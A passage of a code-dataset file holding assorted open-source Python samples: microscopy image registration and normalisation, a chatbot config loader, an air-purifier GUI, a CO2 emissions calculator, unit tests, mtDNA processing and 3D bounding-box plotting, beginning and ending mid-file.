registered_bleach_image)\n\n save_vis_img(registered_bleach_image, self._path_registered_vis_bleach, filename_bleach)\n\n p_idx = np.where(self._melc_phase['order_index'] == self._melc_fluor.iloc[i+1]['order_index'])[0][0]\n phase_image = tiff.imread(self._melc_phase.iloc[p_idx]['path'])\n fluorescence_image = tiff.imread(self._melc_fluor.iloc[i+1]['path'])\n registered_phase_image = register(ref_image, phase_image, phase_image)\n registered_fluor_image = register(ref_image, phase_image, fluorescence_image)\n filename_fluor = SEPARATOR + str(int(self._melc_fluor.iloc[i+1]['order_index'])) + '_' + '_'.join(\n self._melc_fluor.iloc[i+1]['fid'].split('_')[:-1]) + '.tif'\n tiff.imsave(self._path_registered_fluor + filename_fluor, registered_fluor_image)\n tiff.imsave(self._path_registered_phase + filename_fluor, registered_fluor_image)\n\n save_vis_img(registered_fluor_image, self._path_registered_vis_fluor, filename_fluor)\n save_vis_img(registered_phase_image, self._path_registered_vis_phase, filename_fluor)\n\n '''\n Background Correction\n '''\n bleach = np.int16(registered_bleach_image)\n fluor = np.int16(registered_fluor_image)\n phase = np.int16(registered_phase_image)\n\n if self._melc_fluor.iloc[i+1]['filter'] == 'XF111-2':\n fluor -= self._corrected_bf_im[1]\n phase -= self._corrected_bf_im[1]\n else:\n fluor -= self._corrected_bf_im[0]\n phase -= self._corrected_bf_im[0]\n\n if self._melc_bleach.iloc[i]['filter'] == 'XF111-2':\n bleach -= self._corrected_bf_im[1]\n else:\n bleach -= self._corrected_bf_im[0]\n\n phase[phase < 0] = 0\n\n # Substraction of bleaching image\n fluor_wo_bg = fluor - bleach\n fluor_wo_bg[fluor_wo_bg < 0] = 0\n\n tiff.imsave(self._path_bg_corr_f + filename_fluor, fluor_wo_bg)\n save_vis_img(fluor_wo_bg, self._path_bg_corr_v_f, filename_fluor)\n\n tiff.imsave(self._path_bg_corr_p + filename_fluor, phase)\n save_vis_img(phase, self._path_bg_corr_v_p, filename_fluor)\n\n '''\n Normalization\n '''\n\n fluor_wo_bg_normalized = melc_normalization(fluor_wo_bg)\n phase_bc_normalized = melc_normalization(phase)\n tiff.imsave(self._path_normalized_f + filename_fluor, fluor_wo_bg_normalized)\n save_vis_img(fluor_wo_bg_normalized, self._path_normalized_v_f, filename_fluor)\n tiff.imsave(self._path_normalized_p + filename_fluor, phase_bc_normalized)\n save_vis_img(phase_bc_normalized, self._path_normalized_v_p, filename_fluor)\n\n\ndef save_vis_img(img: np.ndarray, path: str, filename: str):\n img_float = img_as_float(img.astype(int))\n img_float = img_float - np.percentile(img_float[20:-20, 20:-20], 0.135) # subtract background\n if not np.percentile(img_float[20:-20, 20:-20], 100 - 0.135) == 0.0:\n img_float /= np.percentile(img_float[20:-20, 20:-20], 100 - 0.135) # normalize to 99.865% of max value\n img_float[img_float < 0] = 0\n img_float[img_float > 1] = 1 # cut-off high intensities\n tiff.imsave(path + filename, img_as_uint(img_float))\n\n\ndef melc_normalization(img: np.ndarray):\n\n sorted_img = np.sort(np.ravel(img))[::-1]\n img[img > sorted_img[3]] = sorted_img[3] # cut off high intensities\n\n return img[15:-15, 15:-15]\n\n''' \nFor visualization and inspection of images\n\n***Using normalization\n\nregistered_u8 = cv2.convertScaleAbs(registered_image, alpha=(255.0/65535.0))\nkernel = np.ones((2, 2), np.float32)/4\nmean_filtered_img = cv2.filter2D(registered_float, -1, kernel)\nnormalized_img = cv2.normalize(mean_filtered_img, None, 0, 255, cv2.NORM_MINMAX)\n\n\n***Using FFT - cut 0.00001 percent of highest frequencies\n\nimages = []\nimages.append(registered_float)\nvisualize_frequencies(images)\npixels = registered_float.size\nhigh_intensity_pixels = 3\npercentage_non_artificial = 100-high_intensity_pixels/pixels\nfiltered_img = filterLowFrequencies(registered_float, percentage_non_artificial)\nimages.append(filtered_img)\nvisualize_frequencies(images)\n\n\n***Plot histogram\n\nhist = cv2.calcHist([registered_image], [0], None, [65535], [0, 65535])\nplt.plot(hist)\nplt.xticks(np.arange(0, 65535, step=2000))\nplt.grid(True)\nplt.yscale('log') # plt.xlim([0, 65535])\nplt.show()\n\n'''\nif __name__ == '__main__':\n args = parse_args()\n MELCImageProcessing(args.path, melc_structure_generated=False)\n\n# raw_1 = r'G:\\FORSCHUNG\\LAB4\\VISIOMICS\\MELC\\2019\\3rdFinalPanel_18-6056\\201912201349_1'\n\n# melc_processed_data = MELCImageProcessing(raw_1, melc_structure_generated=False)\n\n\nx = 0\n", "source": "perlfloccri/DeepFLEX", "license": "MIT"}
+{"text": "from typing import List\n\nfrom .exceptions import InvalidConfigError\nfrom .utils import check_schema\n\ntry:\n import ujson as json\nexcept Exception:\n import json\n\n\nclass _config:\n def __init__(self, c: dict) -> None:\n # \u4e0eiotbot \u5bf9\u5e94\u7684\u914d\u7f6e, \u4e0d\u5b58\u5728\u53ea\u80fd\u4e3aNone\n # ip\n host = c.get('host')\n if host:\n self.host = check_schema(str(host))\n else:\n self.host = None\n # port\n try:\n self.port = int(c.get('port'))\n except Exception:\n self.port = None\n # \u7fa4\u9ed1\u540d\u5355\n self.group_blacklist: List[int] = c.get('group_blacklist')\n # \u597d\u53cb\u9ed1\u540d\u5355\n self.friend_blacklist: List[int] = c.get('friend_blacklist')\n\n # webhook \u76f8\u5173\u914d\u7f6e\n # \u5f00\u5173\n self.webhook = bool(c.get('webhook'))\n # \u63a8\u9001\u5730\u5740\n webhook_post_url = c.get('webhook_post_url')\n if webhook_post_url:\n self.webhook_post_url = check_schema(str(webhook_post_url))\n else:\n self.webhook_post_url = None\n # \u63a8\u9001\u7b49\u5f85\u5ef6\u65f6\n try:\n self.webhook_timeout = int(c.get('webhook_timeout'))\n except Exception:\n self.webhook_timeout = 10\n\n\n_config_dict = {}\ntry:\n with open('./.iotbot.json', encoding='utf-8') as f:\n _config_dict = json.load(f)\nexcept FileNotFoundError:\n pass\nexcept json.JSONDecodeError as e:\n raise InvalidConfigError('\u914d\u7f6e\u6587\u4ef6\u4e0d\u89c4\u8303') from e\n\nconfig = _config(_config_dict)\n\n# print('=====config=====')\n# print('port: ', config.port)\n# print('host: ', config.host)\n# print('webhook: ', config.webhook)\n# print('webhook_post_url: ', config.webhook_post_url)\n# print('webhook_timeout: ', config.webhook_timeout)\n# print('================')\n", "source": "li7yue/python--iotbot", "license": "MIT"}
+{"text": "try:\n from Cython.Build import cythonize\n ext_modules = cythonize(['sic/core.py', 'sic/implicit.py'], compiler_directives={'language_level': '3'})\nexcept:\n pass\n", "source": "pgolo/sic", "license": "MIT"}
+{"text": "class Solution:\n def intToRoman(self, num: int) -> str:\n convertor = [\n [\"\",\"M\", \"MM\", \"MMM\"],\n [\"\",\"C\", \"CC\", \"CCC\", \"CD\", \"D\", \"DC\", \"DCC\", \"DCCC\", \"CM\"],\n [\"\",\"X\", \"XX\", \"XXX\", \"XL\", \"L\", \"LX\",\"LXX\",\"LXXX\", \"XC\"],\n [\"\",\"I\",\"II\",\"III\",\"IV\",\"V\",\"VI\",\"VII\",\"VIII\",\"IX\"]\n ]\n return convertor[0][num//1000] + convertor[1][(num//100)%10] + convertor[2][(num//10)%10] + convertor[3][num%10]\n\nif __name__ == \"__main__\":\n sol = Solution()\n num = 58\n print(sol.intToRoman(num))\n", "source": "PromasterGuru/Leetcode-Solutions", "license": "MIT"}
+{"text": "#!/usr/bin/env python3.6\nimport sys\n\ntry:\n from PyQt5.QtWidgets import QApplication, QMainWindow\n from PyQt5.QtCore import QTimer\n from PyQt5.QtWidgets import QMessageBox\nexcept ImportError:\n print('PyQt5 is required to run this script')\n sys.exit(1)\n\ntry:\n from miio.airpurifier import AirPurifier, OperationMode\n from miio import exceptions as miio_exceptions\nexcept ImportError:\n print('miio is required to run this script')\n sys.exit(1)\n\nfrom mainwindow import Ui_MainWindow\n\nTOKEN = 'ffffffffffffffffffffffffffffffff'\nAIR_PUR_IP = '192.168.1.111'\n\n\nclass AirPurifier2App(QMainWindow, Ui_MainWindow):\n def init_device(self) -> AirPurifier or None:\n try:\n return AirPurifier(AIR_PUR_IP, TOKEN)\n except ValueError:\n QMessageBox.warning(self, 'Token error',\n 'Token is invalid.\\nPlease check the device token')\n sys.exit(1)\n\n def init_state_combo(self):\n self.stateComboBox.addItem('Idle (OFF)', OperationMode.Idle)\n self.stateComboBox.addItem('AUTO', OperationMode.Auto)\n self.stateComboBox.addItem('Favorite', OperationMode.Favorite)\n self.stateComboBox.addItem('Sleep', OperationMode.Silent)\n\n def __init__(self, *args, **kwargs):\n super(AirPurifier2App, self).__init__(*args, **kwargs)\n self.setupUi(self)\n\n self.fav_change = False\n\n self.dev = self.init_device()\n self.init_state_combo()\n\n self.check_dev()\n\n self.stateComboBox.currentIndexChanged.connect(self.set_mode)\n self.favSlider.sliderReleased.connect(self.set_fav_lvl)\n self.favSlider.sliderPressed.connect(self.fav_changing)\n self.favSlider.sliderReleased.connect(self.fav_changed)\n\n self.timer = QTimer()\n self.timer.timeout.connect(self.check_dev)\n self.timer.start(2500)\n\n def fav_changing(self):\n self.fav_change = True\n\n def fav_changed(self):\n self.fav_change = False\n\n def device_get_status(self) -> AirPurifier.status:\n if self.dev is not None:\n return self.dev.status()\n\n return None\n\n def check_response(self, resp: str):\n if 'ok' in resp:\n self.statusbar.showMessage('Response OK', 1000)\n else:\n self.statusbar.showMessage('Response NOK!', 1000)\n\n def set_mode(self):\n if self.dev is None:\n return\n\n op_mode = self.stateComboBox.itemData(self.stateComboBox.currentIndex())\n\n if op_mode == self.device_get_status().mode:\n return\n\n self.check_response(self.dev.set_mode(op_mode))\n\n def set_fav_lvl(self):\n if self.dev is None:\n return\n\n lvl = window.favSlider.value()\n\n if lvl == self.device_get_status().favorite_level:\n return\n\n self.check_response(self.dev.set_favorite_level(lvl))\n\n def check_aqi(self):\n if self.dev is None:\n return\n\n self.statusbar.showMessage(f'AQI: {self.dev.status().aqi}')\n\n def check_state(self):\n if self.dev is None:\n return\n\n dev_mode = self.device_get_status().mode\n\n idx = self.stateComboBox.findData(dev_mode)\n\n if idx != self.stateComboBox.currentIndex():\n self.stateComboBox.setCurrentIndex(idx)\n\n def check_fav_level(self):\n if self.dev is None:\n return\n\n if not self.fav_change:\n self.favSlider.setValue(self.dev.status().favorite_level)\n\n def check_dev(self):\n self.check_aqi()\n self.check_state()\n self.check_fav_level()\n\n\nif __name__ == '__main__':\n app = QApplication(sys.argv)\n\n try:\n window = AirPurifier2App()\n window.show()\n app.exec_()\n except miio_exceptions.DeviceException as ex:\n QMessageBox.warning(None, \"Device error\",\n f'{ex}')\n sys.exit(1)\n", "source": "id872/airpurifier2", "license": "MIT"}
+{"text": "#!/usr/bin/python3\nimport json\nfrom argparse import ArgumentParser\n\ndef get_args():\n p = ArgumentParser(description='Merge CLOSURE xdconf.ini files')\n p.add_argument('-f', '--files', required=True, type=str, help='Input files')\n p.add_argument('-o', '--outfile', required=False, type=str, default='xdconf.ini', help='Output file')\n return p.parse_args()\n\ndef main():\n args = get_args()\n print('Options selected:')\n for x in vars(args).items(): print(' %s: %s' % x)\n\n files=args.files.split(' ')\n if len(files) < 1:\n print('Require at least one file to merge')\n return\n\n data = {'enclaves': []}\n for f in files:\n with open(f,'r') as inf:\n cur = json.load(inf)\n enc = cur['enclaves']\n for e in enc:\n # find matching enclave e1 in data['enclaves']\n found = False;\n for e1 in data['enclaves']:\n if e['enclave'] == e1['enclave']:\n found = True;\n break;\n # if e not in data['enclaves'], simply add enclave to data['enclaves']\n if not found:\n data['enclaves'].append(e)\n else:\n if e['inuri'] != e1['inuri'] or e['outuri'] != e1['outuri']:\n print('URI do not match, merge not possible')\n exit\n # XXX: need to check for duplicates\n print(\"Warning: Not checking for duplicate halmaps\")\n e1['halmaps'].extend(e['halmaps'])\n\n with open(args.outfile, 'w') as outf:\n json.dump(data,outf,indent=2)\n \nif __name__ == '__main__':\n main()\n", "source": "gaps-closure/HAL", "license": "BSD-3-Clause"}
+{"text": "\"\"\"Calculators for different values.\n\nIn order to approximate the emissions for a single kWh of produced\nenergy, per power source we look at the following 2016 data sets.\n\n* Detailed EIA-923 emissions survey data\n (https://www.eia.gov/electricity/data/state/emission_annual.xls)\n\n* Net Generation by State by Type of Producer by Energy Source\n (EIA-906, EIA-920, and EIA-923)\n (https://www.eia.gov/electricity/data/state/annual_generation_state.xls)\n\nThe NY Numbers for 2016 on power generation are (power in MWh)\n\n2016\tNY\tTotal Electric Power Industry\tTotal\t134,417,107\n2016\tNY\tTotal Electric Power Industry\tCoal\t1,770,238\n2016\tNY\tTotal Electric Power Industry\tPumped Storage\t-470,932\n2016\tNY\tTotal Electric Power Industry\tHydroelectric Conventional\t26,888,234\n2016\tNY\tTotal Electric Power Industry\tNatural Gas\t56,793,336\n2016\tNY\tTotal Electric Power Industry\tNuclear\t41,570,990\n2016\tNY\tTotal Electric Power Industry\tOther Gases\t0\n2016\tNY\tTotal Electric Power Industry\tOther\t898,989\n2016\tNY\tTotal Electric Power Industry\tPetroleum\t642,952\n2016\tNY\tTotal Electric Power Industry\tSolar Thermal and Photovoltaic\t139,611\n2016\tNY\tTotal Electric Power Industry\tOther Biomass\t1,604,650\n2016\tNY\tTotal Electric Power Industry\tWind\t3,940,180\n2016\tNY\tTotal Electric Power Industry\tWood and Wood Derived Fuels\t638,859\n\nThe NY Numbers on Emissions are (metric tons of CO2, SO2, NOx)\n\n2016\tNY\tTotal Electric Power Industry\tAll Sources\t31,295,191\t18,372\t32,161\n2016\tNY\tTotal Electric Power Industry\tCoal\t2,145,561\t10,744\t2,635\n2016\tNY\tTotal Electric Power Industry\tNatural Gas\t26,865,277\t122\t14,538\n2016\tNY\tTotal Electric Power Industry\tOther Biomass\t0\t1\t8,966\n2016\tNY\tTotal Electric Power Industry\tOther\t1,660,517\t960\t3,991\n2016\tNY\tTotal Electric Power Industry\tPetroleum\t623,836\t1,688\t930\n2016\tNY\tTotal Electric Power Industry\tWood and Wood Derived Fuels\t0\t4,857\t1,101\n\n\nDuel Fuel systems are interesting, they are designed to burn either\nNatural Gas, or Petroleum when access to NG is limited by price or\ncapacity. (Under extreme cold conditions NG supply is prioritized for\nheating)\n\nWe then make the following simplifying assumptions (given access to the data):\n\n* All natural gas generation is the same from emissions perspective\n\n* The duel fuel systems burned 30% of the total NG in the state, and\n all of the Petroleum. Based on eyeballing the Duel Fuel systems,\n they tend to be running slightly less than straight NG systems.\n\n* The mix of NG / Oil burned in duel fuel plants is constant\n throughout the year. This is clearly not true, but there is no\n better time resolution information available.\n\n* All other fossil fuels means Coal. All Coal is equivalent from\n emissions perspective.\n\n\"\"\"\n\n# PWR in MWh\n# CO2 in Metric Tons\n#\n# TODO(sdague): add in\n\nFUEL_2016 = {\n \"Petroleum\": {\n \"Power\": 642952,\n \"CO2\": 623836\n },\n \"Natural Gas\": {\n \"Power\": 56793336,\n \"CO2\": 26865277\n },\n \"Other Fossil Fuels\": {\n \"Power\": 1770238,\n \"CO2\": 2145561\n }\n}\n\n# assume Dual Fuel systems consume 30% of state NG. That's probably low.\nFUEL_2016[\"Dual Fuel\"] = {\n \"Power\": (FUEL_2016[\"Petroleum\"][\"Power\"] +\n (FUEL_2016[\"Natural Gas\"][\"Power\"] * .3)),\n \"CO2\": (FUEL_2016[\"Petroleum\"][\"CO2\"] +\n (FUEL_2016[\"Natural Gas\"][\"CO2\"] * .3)),\n}\n\n# Calculate CO2 per kWh usage\n\n\ndef co2_for_fuel(fuel):\n \"Returns metric tons per / MWh, or kg / kWh\"\n if fuel in FUEL_2016:\n hpow = FUEL_2016[fuel][\"Power\"]\n hco2 = FUEL_2016[fuel][\"CO2\"]\n co2per = float(hco2) / float(hpow)\n return co2per\n else:\n return 0.0\n\n\ndef co2_rollup(rows):\n total_kW = 0\n total_co2 = 0\n\n for row in rows:\n fuel_name = row[2]\n kW = int(float(row[3]))\n total_kW += kW\n total_co2 += kW * co2_for_fuel(fuel_name)\n co2_per_kW = total_co2 / total_kW\n return co2_per_kW\n", "source": "hongjsk/ny-power", "license": "Apache-2.0"}
+{"text": "# -*- coding: utf-8 -*-\n#\n# Copyright \u00a9 2009-2010 CEA\n# Pierre Raybaut\n# Licensed under the terms of the CECILL License\n# (see guidata/__init__.py for details)\n\n\"\"\"Unit tests\"\"\"\n\nSHOW = False # Do not show test in GUI-based test launcher\n\nimport unittest\nfrom guidata.dataset.datatypes import DataSet\nfrom guidata.dataset.dataitems import FloatItem, IntItem\nfrom guidata.utils import update_dataset\n\nclass Parameters(DataSet):\n float1 = FloatItem(\"float #1\", min=1, max=250, help=\"height in cm\")\n float2 = FloatItem(\"float #2\", min=1, max=250, help=\"width in cm\")\n number = IntItem(\"number\", min=3, max=20)\n \nclass TestCheck(unittest.TestCase):\n def test_range(self):\n \"\"\"Test range checking of FloatItem\"\"\"\n e = Parameters()\n e.float1 = 150.\n e.float2 = 400.\n e.number = 4\n errors = e.check()\n self.assertEquals( errors, [\"float2\"] )\n\n def test_typechecking(self):\n \"\"\"Test type checking of FloatItem\"\"\"\n e = Parameters()\n e.float1 = 150\n e.float2 = 400\n e.number = 4.\n errors = e.check()\n self.assertEquals( errors, [\"float1\", \"float2\", \"number\"] )\n\n def test_update(self):\n e1 = Parameters()\n e2 = Parameters()\n e1.float1 = 23\n update_dataset(e2, e1)\n self.assertEquals( e2.float1, 23 )\n\nif __name__ == \"__main__\":\n unittest.main()\n", "source": "fochoao/cpython", "license": "bzip2-1.0.6"}
+{"text": "#!/usr/bin/env python3\n\nimport layers\nimport cv2\nfrom os.path import join\nimport numpy as np\n# import tensorflow as tf\nimport Augmentor\n\nvw = 320\nvh = 320\n\n\nclass Augment:\n def __init__(self):\n self.w = 2 * 640\n self.h = 2 * 480\n self.canvas = np.zeros((self.h, self.w, 3), dtype=np.uint8)\n\n def update(self, _im):\n # sc = .4\n # h, w = (int(sc * _im.shape[0]), int(sc * _im.shape[1]))\n vh = _im.shape[0]\n vw = _im.shape[1]\n # im = cv2.resize(_im, (w, h))\n self.canvas[100:(100 + vh), :vw, :] = _im\n\n cv2.putText(self.canvas, \"Original\", (0, 50), cv2.FONT_HERSHEY_COMPLEX, 1.0, (255, 255, 255))\n cv2.putText(self.canvas, \"Distorted\", (0, 150 + vh), cv2.FONT_HERSHEY_COMPLEX, 1.0, (255, 255, 255))\n\n self.canvas[(200 + vh):(200 + 2 * vh), :vw, :] = _im\n\n cv2.imshow(\"Image Augment\", self.canvas)\n cv2.waitKey(0)\n\n\nif __name__ == \"__main__\":\n data_root = \"/mnt/4102422c-af52-4b55-988f-df7544b35598/dataset/KITTI/KITTI_Odometry/\"\n seq = \"14\"\n vo_fn = data_root + \"dataset/poses/\" + seq.zfill(2) + \".txt\"\n im_dir = data_root + \"dataset/sequences/\" + seq.zfill(2)\n\n aux_dir = \"/home/handuo/projects/paper/image_base/downloads\"\n\n i = 0\n gui = Augment()\n\n # with tf.Session() as sess:\n ims = []\n p = Augmentor.Pipeline(join(im_dir, \"image_0/\"), output_directory=\"../../../output\", save_format=\"JPEG\")\n # print(\"Has %s samples.\" % (len(p.augmentor_images)))\n p.zoom(probability=0.3, min_factor=0.9, max_factor=1.2)\n p.skew(probability=0.75, magnitude=0.3)\n # p.random_erasing(probability=0.5, rectangle_area=0.3)\n p.multi_erasing(probability=0.5, max_x_axis=0.3, max_y_axis=0.15, max_num=4)\n # p.rotate(probability=0.5, max_left_rotation=6, max_right_rotation=6)\n p.sample(10)\n\n\n", "source": "zhanghanduo/calc_new", "license": "Apache-2.0"}
+{"text": "from oldowan.mtconvert import seq2sites, sites2seq, str2sites\nfrom oldowan.fasta import fasta\nfrom string import translate\nimport pandas as pd\nimport sys\nimport re\n\nsys.path.append('../../scripts')\nfrom utils import *\n\n## load metadata\nmetadata = pd.read_csv('metadata.csv', index_col=0)\nregion = range2region(metadata.ix[0, 'SeqRange'])\n\nff = fasta('barbieri2012.fasta', 'r')\ndata = ff.readentries()\nff.close()\n\nhids = []\ngroups = []\nsites = []\nsequences = []\n\nfor entry in data:\n\twords = entry['name'].split()\n\tif entry['sequence'].count('N') > 10:\n\t\tprint \"Too many Ns in %s (%s), skipping\" % (words[0], words[1])\n\telse:\n\t\thids.append(words[0])\n\t\tgroups.append(words[1])\n\t\tsites.append(seq2sites(entry['sequence']))\n\t\tsequences.append(entry['sequence'])\n\n# validate\npassed_validation = True\n\nfor i in range(len(sites)):\n\tseq1 = sequences[i]\n\tseq2 = translate(sites2seq(sites[i], region), None, '-')\n\tif not seq1 == seq2:\t\n\t\t# some sequences have an N in the poly-C region around 309.\n\t\tif seq1[:305] == seq2[:305] and seq1[-16254:] == seq2[-16254:]:\n\t\t\tpass\n\t\telse:\n\t\t\tpassed_validation = False\n\t\t\tprint i, hids[i]\n\ncounter = {}\nfor k in metadata.index:\n\tcounter[k] = 0\n\nif passed_validation:\n\twith open('processed.csv', 'w') as f:\n\t\tfor i in range(len(sites)):\n\t\t\thid = hids[i]\n\t\t\tkey = groups[i]\n\t\t\tprefix = metadata.ix[key,'NewPrefix']\n\t\t\tcounter[key] += 1\n\t\t\tnewid = prefix + str(counter[key]).zfill(3)\n\t\t\tmysites = ' '.join([str(x) for x in sites[i]])\n\t\t\tf.write('%s,%s,%s\\n' % (newid, hid, mysites))", "source": "ryanraaum/african-mtdna", "license": "CC0-1.0"}
+{"text": "# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed Feb 20 15:10:09 2019\n\n@author: cooneyg\n\"\"\"\n\nimport pandas as pd\nca_tech_mix = pd.read_csv('data/canadian_imports.csv')\n\n\n\n", "source": "gschivley/ElectricityLCI", "license": "CC0-1.0"}
+{"text": "import os,sys,glob,shutil\n\nlists = glob.glob('./*/*.log')\nlists += glob.glob('./*/*.tar')\nlists += glob.glob('./*/*.pk')\nlists += glob.glob('./*/*weights.json')\n\nfor f in lists:\n os.remove(f)\n\n", "source": "resuly/Traffic-3DResnets", "license": "MIT"}
+{"text": "# 3D IoU caculate code for 3D object detection \n# Kent 2018/12\n\nimport numpy as np\nimport torch\nfrom scipy.spatial import ConvexHull\nfrom numpy import *\nimport matplotlib\nfrom matplotlib import cm\nfrom mpl_toolkits.mplot3d import Axes3D\nfrom mpl_toolkits.mplot3d.art3d import Poly3DCollection, Line3DCollection\nimport matplotlib.pyplot as plt\nimport kaolin as kal\nfrom kaolin.ops.conversions import trianglemeshes_to_voxelgrids as mesh2voxel\n\ndef set_axes_equal(ax):\n '''\n Source: https://stackoverflow.com/a/31364297\n Make axes of 3D plot have equal scale so that spheres appear as spheres,\n cubes as cubes, etc.. This is one possible solution to Matplotlib's\n ax.set_aspect('equal') and ax.axis('equal') not working for 3D.\n\n Input\n ax: a matplotlib axis, e.g., as output from plt.gca().\n '''\n x_limits = ax.get_xlim3d()\n y_limits = ax.get_ylim3d()\n z_limits = ax.get_zlim3d()\n\n x_range = abs(x_limits[1] - x_limits[0])\n x_middle = np.mean(x_limits)\n y_range = abs(y_limits[1] - y_limits[0])\n y_middle = np.mean(y_limits)\n z_range = abs(z_limits[1] - z_limits[0])\n z_middle = np.mean(z_limits)\n\n # The plot bounding box is a sphere in the sense of the infinity\n # norm, hence I call half the max range the plot radius.\n plot_radius = 0.5*max([x_range, y_range, z_range])\n\n ax.set_xlim3d([x_middle - plot_radius, x_middle + plot_radius])\n ax.set_ylim3d([y_middle - plot_radius, y_middle + plot_radius])\n ax.set_zlim3d([z_middle - plot_radius, z_middle + plot_radius])\n\ndef cuboid_data(center, size):\n # suppose axis direction: x: to left; y: to inside; z: to upper\n # get the (left, outside, bottom) point\n o = [a - b / 2 for a, b in zip(center, size)]\n # get the length, width, and height\n l, w, h = size\n x = [[o[0], o[0] + l, o[0] + l, o[0], o[0]], # x coordinate of points in bottom surface\n [o[0], o[0] + l, o[0] + l, o[0], o[0]], # x coordinate of points in upper surface\n [o[0], o[0] + l, o[0] + l, o[0], o[0]], # x coordinate of points in outside surface\n [o[0], o[0] + l, o[0] + l, o[0], o[0]]] # x coordinate of points in inside surface\n y = [[o[1], o[1], o[1] + w, o[1] + w, o[1]], # y coordinate of points in bottom surface\n [o[1], o[1], o[1] + w, o[1] + w, o[1]], # y coordinate of points in upper surface\n [o[1], o[1], o[1], o[1], o[1]], # y coordinate of points in outside surface\n [o[1] + w, o[1] + w, o[1] + w, o[1] + w, o[1] + w]] # y coordinate of points in inside surface\n z = [[o[2], o[2], o[2], o[2], o[2]], # z coordinate of points in bottom surface\n [o[2] + h, o[2] + h, o[2] + h, o[2] + h, o[2] + h], # z coordinate of points in upper surface\n [o[2], o[2], o[2] + h, o[2] + h, o[2]], # z coordinate of points in outside surface\n [o[2], o[2], o[2] + h, o[2] + h, o[2]]] # z coordinate of points in inside surface\n return np.array(x), np.array(y), np.array(z)\n\ndef get_corners(x,y,z):\n x_corners = x[np.r_[0:4,5:9]]\n y_corners = y[np.r_[0:4,5:9]]\n z_corners = z[np.r_[0:4,5:9]]\n corners_3d = np.vstack([x_corners,y_corners,z_corners]).T\n return torch.tensor(corners_3d)\n\ndef cuboid_faces(k):\n bottom = [[0,1,2], [0,2,3]]\n upper = [[4,5,6], [4,6,7]]\n front = [[0,1,5], [0,5,4]]\n back = [[3,2,6], [3,6,7]]\n left = [[0,4,7], [0,7,3]]\n right = [[1,2,6], [1,6,5]]\n return torch.tensor(bottom + upper + front + back + left + right).cuda() + 8 * k \n\ndef plot_gmm(ax, mix, mu, cov, color=None, cmap='Spectral', azim=60, elev=0, numWires=5, wireframe=True):\n if color is None:\n color = np.arange(mix.shape[0]) / (mix.shape[0] - 1)\n if cmap is not None:\n cmap = cm.get_cmap(cmap)\n color = cmap(color)\n\n # u = np.linspace(0.0, 2.0 * np.pi, numWires)\n # v = np.linspace(0.0, np.pi, numWires)\n # X = np.outer(np.cos(u), np.sin(v))\n # Y = np.outer(np.sin(u), np.sin(v))\n # Z = np.outer(np.ones_like(u), np.cos(v)) \n # XYZ = np.stack([X.flatten(), Y.flatten(), Z.flatten()])\n # print(X.shape, Y.shape, Z.shape)\n # ax.plot_wireframe(X, Y, Z, rstride=1, cstride=1)\n alpha = mix / mix.max()\n ax.view_init(azim=azim, elev=elev)\n # numWires = 2\n for k in range(mix.shape[0]):\n #print(mix[k])\n # find the rotation matrix and radii of the axes\n U, s, V = np.linalg.svd(cov[k])\n X, Y, Z = cuboid_data(mu[k], (3, 3, 3))\n XYZ = np.stack([X.flatten(), Y.flatten(), Z.flatten()])\n x, y, z = V.T @ (np.sqrt(s)[:, None] * XYZ) + mu[k][:, None]\n #print(x.shape)\n x = x.reshape(4, numWires)\n y = y.reshape(4, numWires)\n z = z.reshape(4, numWires)\n if wireframe:\n ax.plot_wireframe(x, y, z, rstride=1, cstride=1, color=color[k], alpha=alpha[k])\n else:\n ax.plot_surface(x, y, z, rstride=1, cstride=1, color=color[k], alpha=alpha[k])#\n\ndef plot_box(points_group):#\n # points_group = points_group.numpy()\n fig = plt.figure(figsize=(20, 20))\n ax = fig.add_subplot(111, projection='3d')\n\n for i in range(len(points_group)):\n points = points_group[i]\n #points[:,[1, 2]] = points[:,[2, 1]]\n # P = [[2.06498904e-01 , -6.30755443e-07 , 1.07477548e-03],\n # [1.61535574e-06 , 1.18897198e-01 , 7.85307721e-06],\n # [7.08353661e-02 , 4.48415767e-06 , 2.05395893e-01]]\n #Z = np.zeros((8,3))\n #for i in range(8): Z[i,:] = np.dot(points[i,:],P)\n #Z = 10.0*Z\n #Z = points\n\n\n #r = [-1,1]\n\n #X, Y = np.meshgrid(r, r)\n # plot vertices\n ax.scatter3D(points[:, 0], points[:, 1], points[:, 2])\n\n # list of sides' polygons of figure\n verts = [[points[0],points[1],points[2],points[3]],\n [points[4],points[5],points[6],points[7]], \n [points[0],points[1],points[5],points[4]], \n [points[2],points[3],points[7],points[6]], \n [points[1],points[2],points[6],points[5]],\n [points[4],points[7],points[3],points[0]]]\n\n # plot sides\n ax.add_collection3d(Poly3DCollection(verts, \n facecolors='cyan', linewidths=1, edgecolors='r', alpha=.25))\n\n\n ax.set_xlabel('X')\n ax.set_ylabel('Y')\n ax.set_zlabel('Z')\n\n # equal axis scale in 3d: https://stackoverflow.com/a/21765085\n pts_stack = np.vstack(points_group)\n max_range = np.array([pts_stack[:, 0].max()-pts_stack[:, 0].min(), \n pts_stack[:, 1].max()-pts_stack[:, 1].min(), \n pts_stack[:, 2].max()-pts_stack[:, 2].min()]).max() / 2.0\n\n mid_x = (pts_stack[:, 0].max()+pts_stack[:, 0].min()) * 0.5\n mid_y = (pts_stack[:, 1].max()+pts_stack[:, 1].min()) * 0.5\n mid_z = (pts_stack[:, 2].max()+pts_stack[:, 2].min()) * 0.5\n\n ax.set_xlim(mid_x - max_range, mid_x + max_range)\n ax.set_ylim(mid_y - max_range, mid_y + max_range)\n ax.set_zlim(mid_z - max_range, mid_z + max_range)\n #plt.axis('scaled')\n set_axes_equal(ax)\n plt.show()\n\ndef non_max_suppression_3d(gms, nms_th=0.25, conf_th=0.001):\n matplotlib.use( 'tkagg' )\n pi, mu, cov, SVD = gms\n s = SVD['s']\n V = SVD['V']\n box = []\n for k in range(pi.shape[0]):\n #print(\"before flatten: \", s)\n min_pc = np.argmin(s[k])\n if s[k, min_pc] < 0.005:\n s[k, min_pc] = 0.005\n #print(\"after flatten: \", s)\n X, Y, Z = cuboid_data([0,0,0], [1,1,1])\n XYZ = np.stack([X.flatten(), Y.flatten(), Z.flatten()])\n # x, y, z = V[k].T @ (np.sqrt(5.99*s[k])[:, None] * XYZ) + mu[k][:, None]\n x, y, z = V[k].T @ (1.2*np.sqrt(5.99*s[k])[:, None] * XYZ) + mu[k][:, None]\n box.append(get_corners(x,y,z))\n box = torch.stack(box) # k x 8 x 3\n\n if len(box) == 0:\n return box\n\n sorted_gm = np.argsort(-pi)\n box = 